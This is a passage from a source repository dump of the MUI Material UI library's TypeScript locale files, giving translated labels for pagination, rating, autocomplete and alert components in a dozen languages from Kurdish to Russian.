'last') {\n            return 'چوونە کۆتا پەڕە';\n          }\n          if (type === 'next') {\n            return 'چوونە پەڕەی دواتر';\n          }\n          // if (type === 'previous') {\n          return 'گەڕانەوە بۆ پەڕەی پێشوو';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/kuLatn.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ku-Latn');\n\nexport const kuLatn: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Rê nîşan bide',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Biçe rûpela yekem';\n          }\n          if (type === 'last') {\n            return 'Biçe rûpela dawî';\n          }\n          if (type === 'next') {\n            return 'Biçe rûpela din';\n          }\n          // if (type === 'previous') {\n          return 'Biçe rûpela berê';\n        },\n        labelRowsPerPage: 'Rêz li ser rûpelê:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} of ${count !== -1 ? formatNumber(count) : `zêdetir ji ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Stêrk`,\n        emptyLabelText: 'Vala',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Paqij bike',\n        closeText: 'Bigre',\n        loadingText: 'Tê barkirin…',\n        noOptionsText: 'Vebijêrk tune',\n        openText: 'Veke',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Bigre',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navîgasyona rûpelan',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Biçe '}rûpel ${page}`;\n          }\n          if (type === 'first') {\n            return 'Biçe rûpela yekem';\n          }\n          if (type === 'last') {\n            return 'Biçe rûpela dawî';\n          }\n          if (type === 'next') {\n            return 'Biçe rûpela din';\n          }\n          // if (type === 'previous') {\n          return 'Biçe rûpela berê';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/mkMK.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('mk-MK');\n\n// Macedonian - Македонски\nexport const mkMK: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Прикажи патека',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Оди на прва страница';\n          }\n          if (type === 'last') {\n            return 'Оди на последна страница';\n          }\n          if (type === 'next') {\n            return 'Оди на следна страница';\n          }\n          // if (type === 'previous') {\n          return 'Оди на предходна страница';\n        },\n        labelRowsPerPage: 'Редови по страница:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} од ${count !== -1 ? formatNumber(count) : `повеќе од ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          const lastDigit = value % 10;\n          return `${value} Ѕвезд${lastDigit === 1 ? 'а' : 'и'}`;\n        },\n        emptyLabelText: 'Празно',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Избриши',\n        closeText: 'Затвори',\n        loadingText: 'Се презема',\n        noOptionsText: 'Нема опција',\n        openText: 'Отвори',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Затвори',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Навигација низ страници',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Оди на '}страница ${page}`;\n          }\n          if (type === 'first') {\n            return 'Оди на прва страница';\n          }\n          if (type === 'last') {\n            return 'Оди на последна страница';\n          }\n          if (type === 'next') {\n            return 'Оди на следна страница';\n          }\n          // if (type === 'previous') {\n          return 'Оди на предходна страница';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/msMS.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ms-MS');\n\n// Malay-Melayu\nexport const msMS: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Tunjukkan laluan',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Pergi ke halaman pertama';\n          }\n          if (type === 'last') {\n            return 'Pergi ke halaman terakhir';\n          }\n          if (type === 'next') {\n            return 'Pergi ke halaman seterusnya';\n          }\n          // if (type === 'previous') {\n          return 'Pergi ke halaman sebelumnya';\n        },\n        labelRowsPerPage: 'Baris setiap halaman:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} daripada ${count !== -1 ? formatNumber(count) : `lebih daripada ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          const lastDigit = value % 10;\n          return `${value} Bintang${lastDigit === 1 ? 's' : ''}`;\n        },\n        emptyLabelText: 'kosong',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Jelas',\n        closeText: 'tutup',\n        loadingText: 'Memuatkan…',\n        noOptionsText: 'Tiada pilihan',\n        openText: 'Buka',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'tutup',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigasi penomboran',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Pergi ke '}muka surat ${page}`;\n          }\n          if (type === 'first') {\n            return 'Pergi ke halaman pertama';\n          }\n          if (type === 'last') {\n            return 'Pergi ke halaman terakhir';\n          }\n          if (type === 'next') {\n            return 'Pergi ke halaman seterusnya';\n          }\n          // if (type === 'previous') {\n          return 'Pergi ke halaman sebelumnya';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/myMY.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('my-MY');\n\n// Myanmar - မြန်မာ\nexport const myMY: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'လမ်းကြောင်းပြပါ။',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'ပထမစာမျက်နှာသို့သွားပါ။';\n          }\n          if (type === 'last') {\n            return 'နောက်ဆုံးစာမျက်နှာသို့သွားပါ။';\n          }\n          if (type === 'next') {\n            return 'နောက်စာမျက်နှာသို့သွားပါ။';\n          }\n          // if (type === 'previous') {\n          return 'ယခင်စာမျက်နှာသို့သွားပါ။';\n        },\n        labelRowsPerPage: 'စာမျက်နှာအလိုက် အတန်းများ:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} ၏ ${count !== -1 ? formatNumber(count) : `ထက်ပိုပြီး ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          const lastDigit = value % 10;\n          return `${value} ကြယ်ပွင့်${lastDigit === 1 ? '၎' : ''}`;\n        },\n        emptyLabelText: 'ဗလာ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'ရှင်းလင်းသော',\n        closeText: 'ပိတ်လိုက်',\n        loadingText: 'ဖွင့်နေသည်…',\n        noOptionsText: 'ရွေးချယ်ခွင့်မရှိပါ။',\n        openText: 'ဖွင့်သည်။',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'ပိတ်လိုက်',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Pagination အညွှန်း',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'သွားပါ။ '}စာမျက်နှာ ${page}`;\n          }\n          if (type === 'first') {\n            return 'ပထမစာမျက်နှာသို့သွားပါ။';\n          }\n          if (type === 'last') {\n            return 'နောက်ဆုံးစာမျက်နှာသို့သွားပါ။';\n          }\n          if (type === 'next') {\n            return 'နောက်စာမျက်နှာသို့သွားပါ။';\n          }\n          // if (type === 'previous') {\n          return 'ယခင်စာမျက်နှာသို့သွားပါ။';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/nbNO.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('nb-NO');\n\nexport const nbNO: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Vis sti',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Gå til første side';\n          }\n          if (type === 'last') {\n            return 'Gå til siste side';\n          }\n          if (type === 'next') {\n            return 'Gå til neste side';\n          }\n          // if (type === 'previous') {\n          return 'Gå til forrige side';\n        },\n        labelRowsPerPage: 'Rader per side:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} av ${count !== -1 ? formatNumber(count) : `mer enn ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Stjerne${value !== 1 ? 'r' : ''}`,\n        emptyLabelText: 'Tom',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Tøm',\n        closeText: 'Lukk',\n        loadingText: 'Laster inn…',\n        noOptionsText: 'Ingen alternativer',\n        openText: 'Åpne',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Lukk',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Paginering navigasjon',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Gå til '}side ${page}`;\n          }\n          if (type === 'first') {\n            return 'Gå til første side';\n          }\n          if (type === 'last') {\n            return 'Gå til siste side';\n          }\n          if (type === 'next') {\n            return 'Gå til neste side';\n          }\n          // if (type === 'previous') {\n          return 'Gå til forrige side';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/neNP.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ne-NP');\n\n// Nepali-नेपाली\nexport const neNP: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'बाटो देखाउनुहोस्',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'पहिलो पृष्ठमा जानुहोस्';\n          }\n          if (type === 'last') {\n            return 'अन्तिम पृष्ठमा जानुहोस्';\n          }\n          if (type === 'next') {\n            return 'अर्को पृष्ठमा जानुहोस्';\n          }\n          // if (type === 'previous') {\n          return 'अघिल्लो पृष्ठमा जानुहोस्';\n        },\n        labelRowsPerPage: 'प्रति पृष्ठ पङ्क्तिहरू:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} को ${count !== -1 ? formatNumber(count) : `धेरै ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          const lastDigit = value % 10;\n          return `${value} तारा${lastDigit === 1 ? 'स' : ''}`;\n        },\n        emptyLabelText: 'खाली',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'खाली गर्नुहोस्',\n        closeText: 'बन्द गर्नुहोस्',\n        loadingText: 'लोड हुँदै…',\n        noOptionsText: 'कुनै विकल्प छैन',\n        openText: 'खोल्नुहोस्',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'बन्द गर्नुहोस्',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'पृष्ठांकन नेभिगेसन',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'जाऊ त्यहाँ '}पृष्ठ ${page}`;\n          }\n          if (type === 'first') {\n            return 'पहिलो पृष्ठमा जानुहोस्';\n          }\n          if (type === 'last') {\n            return 'अन्तिम पृष्ठमा जानुहोस्';\n          }\n          if (type === 'next') {\n            return 'अर्को पृष्ठमा जानुहोस्';\n          }\n          // if (type === 'previous') {\n          return 'अघिल्लो पृष्ठमा जानुहोस्';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/nlNL.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('nl-NL');\n\nexport const nlNL: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Pad tonen',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Ga naar eerste pagina';\n          }\n          if (type === 'last') {\n            return 'Ga naar laatste pagina';\n          }\n          if (type === 'next') {\n            return 'Ga naar volgende pagina';\n          }\n          // if (type === 'previous') {\n          return 'Ga naar vorige pagina';\n        },\n        labelRowsPerPage: 'Regels per pagina:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} van ${count !== -1 ? formatNumber(count) : `meer dan ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Ster${value !== 1 ? 'ren' : ''}`,\n        emptyLabelText: 'Leeg',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Wissen',\n        closeText: 'Sluiten',\n        loadingText: 'Laden…',\n        noOptionsText: 'Geen opties',\n        openText: 'Openen',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Sluiten',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigatie via paginering',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Ga naar '}pagina ${page}`;\n          }\n          if (type === 'first') {\n            return 'Ga naar eerste pagina';\n          }\n          if (type === 'last') {\n            return 'Ga naar laatste pagina';\n          }\n          if (type === 'next') {\n            return 'Ga naar volgende pagina';\n          }\n          // if (type === 'previous') {\n          return 'Ga naar vorige pagina';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/nnNO.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('nn-NO');\n\nexport const nnNO: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Vis sti',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Gå til første side';\n          }\n          if (type === 'last') {\n            return 'Gå til siste side';\n          }\n          if (type === 'next') {\n            return 'Gå til neste side';\n          }\n          // if (type === 'previous') {\n          return 'Gå til førre side';\n        },\n        labelRowsPerPage: 'Rader per side:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} av ${count !== -1 ? formatNumber(count) : `fleire enn ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} stjerne${value !== 1 ? 'r' : ''}`,\n        emptyLabelText: 'Tom',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Tøm',\n        closeText: 'Lukk',\n        loadingText: 'Lastar inn…',\n        noOptionsText: 'Ingen alternativ',\n        openText: 'Opna',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Lukk',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigasjon for paginering',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Gå til '}side ${page}`;\n          }\n          if (type === 'first') {\n            return 'Gå til første side';\n          }\n          if (type === 'last') {\n            return 'Gå til siste side';\n          }\n          if (type === 'next') {\n            return 'Gå til neste side';\n          }\n          // if (type === 'previous') {\n          return 'Gå til førre side';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/plPL.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('pl-PL');\n\nexport const plPL: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Pokaż ścieżkę',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Przejdź do pierwszej strony';\n          }\n          if (type === 'last') {\n            return 'Przejdź do ostatniej strony';\n          }\n          if (type === 'next') {\n            return 'Przejdź do następnej strony';\n          }\n          // if (type === 'previous') {\n          return 'Przejdź do poprzedniej strony';\n        },\n        labelRowsPerPage: 'Wierszy na stronę:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} z ${count !== -1 ? formatNumber(count) : `ponad ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          let pluralForm = 'gwiazdek';\n          const lastDigit = value % 10;\n\n          if ((value < 10 || value > 20) && lastDigit > 1 && lastDigit < 5) {\n            pluralForm = 'gwiazdki';\n          } else if (value === 1) {\n            pluralForm = 'gwiazdka';\n          }\n\n          return `${value} ${pluralForm}`;\n        },\n        emptyLabelText: 'Brak gwiazdek',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Wyczyść',\n        closeText: 'Zamknij',\n        loadingText: 'Ładowanie…',\n        noOptionsText: 'Brak opcji',\n        openText: 'Otwórz',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Zamknij',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Nawigacja podziału na strony',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return selected ? `${page}. strona` : `Przejdź do ${page}. strony`;\n          }\n          if (type === 'first') {\n            return 'Przejdź do pierwszej strony';\n          }\n          if (type === 'last') {\n            return 'Przejdź do ostatniej strony';\n          }\n          if (type === 'next') {\n            return 'Przejdź do następnej strony';\n          }\n          // if (type === 'previous') {\n          return 'Przejdź do poprzedniej strony';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/psAF.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ps-AF');\n\nexport const psAF: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'لاره ښکاره کړه',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'لومړۍ پاڼې ته لاړ شه';\n          }\n          if (type === 'last') {\n            return 'ورستۍ پاڼې ته لاړ شه';\n          }\n          if (type === 'next') {\n            return 'بلی پاڼې ته لاړ شه';\n          }\n          // if (type === 'previous') {\n          return 'مخکینۍ پاڼې ته لاړ شه';\n        },\n        labelRowsPerPage: 'په پاڼه کی د کرښو شمیر',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${count !== -1 ? formatNumber(count) : `${formatNumber(to)} زیات له`} ${formatNumber(to)}- ${formatNumber(from)} د`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ستوری`,\n        emptyLabelText: 'خالی',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'پاک کول',\n        closeText: 'تړل',\n        loadingText: '… لوډ کیږی',\n        noOptionsText: 'بی پایلی',\n        openText: 'خلاصول',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'تړل',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'د پاڼو ترتیب',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : ' ته لاړ شه'}پاڼې ${page}`;\n          }\n          if (type === 'first') {\n            return 'لومړۍ پاڼی ته لاړ شه';\n          }\n          if (type === 'last') {\n            return 'وروستۍ پاڼې ته لاړه شه';\n          }\n          if (type === 'next') {\n            return 'بلې پاڼې ته لاړ شه';\n          }\n          // if (type === 'previous') {\n          return 'مخکنۍ پاڼې ته لاړ شه';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/ptBR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('pt-BR');\n\nexport const ptBR: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Mostrar caminho',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Ir para a primeira página';\n          }\n          if (type === 'last') {\n            return 'Ir para a última página';\n          }\n          if (type === 'next') {\n            return 'Ir para a próxima página';\n          }\n          // if (type === 'previous') {\n          return 'Ir para a página anterior';\n        },\n        labelRowsPerPage: 'Linhas por página:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} de ${count !== -1 ? formatNumber(count) : `mais de ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Estrela${value !== 1 ? 's' : ''}`,\n        emptyLabelText: 'Vazio',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Limpar',\n        closeText: 'Fechar',\n        loadingText: 'Carregando…',\n        noOptionsText: 'Sem opções',\n        openText: 'Abrir',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Fechar',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navegar pela paginação',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Ir para a '}página ${page}`;\n          }\n          if (type === 'first') {\n            return 'Ir para a primeira página';\n          }\n          if (type === 'last') {\n            return 'Ir para a última página';\n          }\n          if (type === 'next') {\n            return 'Ir para a próxima página';\n          }\n          // if (type === 'previous') {\n          return 'Ir para a página anterior';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/ptPT.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('pt-PT');\n\nexport const ptPT: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Mostrar caminho',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Primeira página';\n          }\n          if (type === 'last') {\n            return 'Última página';\n          }\n          if (type === 'next') {\n            return 'Próxima página';\n          }\n          // if (type === 'previous') {\n          return 'Página anterior';\n        },\n        labelRowsPerPage: 'Linhas por página:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} de ${count !== -1 ? formatNumber(count) : `mais de ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Estrela${value !== 1 ? 's' : ''}`,\n        emptyLabelText: 'Vazio',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Limpar',\n        closeText: 'Fechar',\n        loadingText: 'A carregar…',\n        noOptionsText: 'Sem opções',\n        openText: 'Abrir',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Fechar',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navegar por páginas',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Ir para a '}página ${page}`;\n          }\n          if (type === 'first') {\n            return 'Primeira página';\n          }\n          if (type === 'last') {\n            return 'Última página';\n          }\n          if (type === 'next') {\n            return 'Próxima página';\n          }\n          // if (type === 'previous') {\n          return 'Página anterior';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/roRO.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ro-RO');\n\nexport const roRO: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Arată calea',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Mergi la prima pagină';\n          }\n          if (type === 'last') {\n            return 'Mergi la ultima pagină';\n          }\n          if (type === 'next') {\n            return 'Mergi la pagina următoare';\n          }\n          // if (type === 'previous') {\n          return 'Mergi la pagina precedentă';\n        },\n        labelRowsPerPage: 'Rânduri pe pagină:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} din ${count !== -1 ? formatNumber(count) : `mai mult de ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} St${value !== 1 ? 'ele' : 'ea'}`,\n        emptyLabelText: 'Gol',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Șterge',\n        closeText: 'Închide',\n        loadingText: 'Se încarcă…',\n        noOptionsText: 'Nicio opțiune',\n        openText: 'Deschide',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Închide',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigare prin paginare',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Mergi la '}pagina ${page}`;\n          }\n          if (type === 'first') {\n            return 'Mergi la prima pagină';\n          }\n          if (type === 'last') {\n            return 'Mergi la ultima pagină';\n          }\n          if (type === 'next') {\n            return 'Mergi la pagina următoare';\n          }\n          // if (type === 'previous') {\n          return 'Mergi la pagina precedentă';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/ruRU.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ru-RU');\n\nexport const ruRU: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Показать полный путь',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Перейти на первую страницу';\n          }\n          if (type === 'last') {\n            return 'Перейти на последнюю страницу';\n          }\n          if (type === 'next') {\n            return 'Перейти на следующую страницу';\n          }\n          // if (type === 'previous') {\n          return 'Перейти на предыдущую страницу';\n        },\n        labelRowsPerPage: 'Строк на странице:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} из ${count !== -1 ? formatNumber(count) : `более чем ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          let pluralForm = 'Звёзд';\n          const lastDigit = value % 10;\n\n          if (lastDigit > 1 && lastDigit < 5) {\n            pluralForm = 'Звезды';\n          } else if (lastDigit === 1) {\n            pluralForm = 'Звезда';\n          }\n\n          return `${value} ${pluralForm}`;\n        },\n        emptyLabelText: 'Рейтинг отсутствует',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Очистить',\n        closeText: 'Закрыть',\n        loadingText: 'Загрузка…',\n        noOptionsText: 'Нет доступных вариантов',\n        openText: 'Открыть',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Закрыть',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Навигация по страницам',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            if (selected) {\n              return `${page} страница`;\n            }\n            return `Перейти на ${page} страницу`;\n          }\n          if (type === 'first') {\n            return 'Перейти на первую страницу';\n          }\n          if (type === 'last') {\n            return 'Перейти на последнюю страницу';\n          }\n          if (type === 'next') {\n            return 'Перейти на следующую страницу';\n          }\n          // if (type === 'previous') {\n          return 'Перейти на предыдущую страницу';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/siLK.ts",
